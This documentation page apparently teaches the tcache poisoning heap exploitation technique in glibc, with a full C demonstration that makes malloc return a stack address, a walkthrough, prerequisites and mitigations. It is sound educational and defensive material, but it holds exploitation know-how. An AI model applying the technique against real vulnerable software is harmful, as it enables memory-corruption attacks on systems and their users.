Skip to main content

Overview

Tcache poisoning is a heap exploitation technique that manipulates the tcache freelist to make malloc() return a pointer to an arbitrary memory location. This attack is very similar to the fastbin corruption attack but targets the tcache mechanism introduced in glibc 2.26.
The tcache (thread cache) is a per-thread cache for heap chunks that speeds up allocation and deallocation by avoiding locks. Each thread has up to 64 tcache bins, with each bin holding up to 7 chunks of the same size.

Glibc Version Compatibility

Works on: glibc 2.26 and later Important patches:
  • Commit 77dc0d86: Requires creating and freeing one more chunk for padding before fd pointer hijacking
  • Commit a1a486d7: Heap address leak required (glibc 2.32+) due to safe-linking protection. The same patch ensures returned chunks are properly aligned.

What This Technique Achieves

1

Allocate chunks and free them

Chunks are placed into the tcache freelist
2

Corrupt the fd pointer

Overwrite the forward pointer of a freed tcache chunk to point to the target address
3

Allocate to drain tcache

First malloc returns the legitimate chunk
4

Get arbitrary pointer

Second malloc returns a pointer to the target address (stack, data segment, etc.)

Key Differences from Fastbin Attack

  • No size checks: Tcache doesn’t verify the size field of the next chunk
  • No double-free protection: (in glibc 2.26-2.28, patched in 2.29+)
  • Simpler exploitation: Fewer checks make tcache poisoning easier than fastbin corruption
  • Safe-linking: From glibc 2.32+, fd pointers are mangled with (ptr ^ (heap_addr >> 12))

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
	// disable buffering
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
		   "returning a pointer to an arbitrary location (in this case, the stack).\n"
		   "The attack is very similar to fastbin corruption attack.\n");
	printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
		   "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
	printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
		   "An heap address leak is needed to perform tcache poisoning.\n"
		   "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n");

	size_t stack_var[0x10];
	size_t *target = NULL;

	// choose a properly aligned target address
	for(int i=0; i<0x10; i++) {
		if(((long)&stack_var[i] & 0xf) == 0) {
			target = &stack_var[i];
			break;
		}
	}
	assert(target != NULL);

	printf("The address we want malloc() to return is %p.\n", target);

	printf("Allocating 2 buffers.\n");
	intptr_t *a = malloc(128);
	printf("malloc(128): %p\n", a);
	intptr_t *b = malloc(128);
	printf("malloc(128): %p\n", b);

	printf("Freeing the buffers...\n");
	free(a);
	free(b);

	printf("Now the tcache list has [ %p -> %p ].\n", b, a);
	printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
		   "to point to the location to control (%p).\n", sizeof(intptr_t), b, target);
	// VULNERABILITY
	// the following operation assumes the address of b is known, which requires a heap leak
	b[0] = (intptr_t)((long)target ^ (long)b >> 12);
	// VULNERABILITY
	printf("Now the tcache list has [ %p -> %p ].\n", b, target);

	printf("1st malloc(128): %p\n", malloc(128));
	printf("Now the tcache list has [ %p ].\n", target);

	intptr_t *c = malloc(128);
	printf("2nd malloc(128): %p\n", c);
	printf("We got the control\n");

	assert((long)target == (long)c);
	return 0;
}

Step-by-Step Walkthrough

1. Setup Target Address

size_t stack_var[0x10];
size_t *target = NULL;

// choose a properly aligned target address
for(int i=0; i<0x10; i++) {
    if(((long)&stack_var[i] & 0xf) == 0) {
        target = &stack_var[i];
        break;
    }
}
The target must be 16-byte aligned (glibc 2.32+ requirement). We scan the stack array to find a properly aligned address.

2. Allocate and Free Chunks

intptr_t *a = malloc(128);
intptr_t *b = malloc(128);

free(a);
free(b);
After freeing, the tcache bin for size 128 looks like:
tcache[128]: b -> a -> NULL

3. Poison the Tcache (Vulnerability Point)

This is where the vulnerability is exploited. An attacker with a write primitive can overwrite the fd pointer.
// Requires heap leak to know address of 'b'
b[0] = (intptr_t)((long)target ^ (long)b >> 12);
Safe-linking explanation (glibc 2.32+):
  • The fd pointer is XORed with (heap_addr >> 12)
  • This prevents simple pointer overwrites
  • Requires leaking a heap address to calculate the correct mangled pointer
After poisoning:
tcache[128]: b -> target -> ???

4. Trigger Arbitrary Allocation

malloc(128);  // Returns 'b', tcache now: target -> ???
intptr_t *c = malloc(128);  // Returns target!
The second malloc returns our target address, giving us control over an arbitrary memory location.

Prerequisites

1

Use-after-free or overflow

Ability to overwrite the fd pointer of a freed tcache chunk
2

Heap address leak (glibc 2.32+)

Required to calculate the mangled pointer for safe-linking
3

Target address alignment

Target must be 16-byte aligned (glibc 2.32+)

Detection and Mitigation

Mitigations added over time:
  • Safe-linking (glibc 2.32): Mangles fd pointers with heap address bits
  • Double-free detection (glibc 2.29): Added key field to detect double frees
  • Alignment checks (glibc 2.32): Ensures returned chunks are properly aligned
Detection methods:
  • Monitor for misaligned chunk pointers in tcache bins
  • Check for fd pointers pointing outside heap regions
  • Use heap profiling tools to detect anomalous allocation patterns

Try It Yourself

Practice on Ret2 Wargames

Debug this technique in an interactive browser environment

Build docs developers (and LLMs) love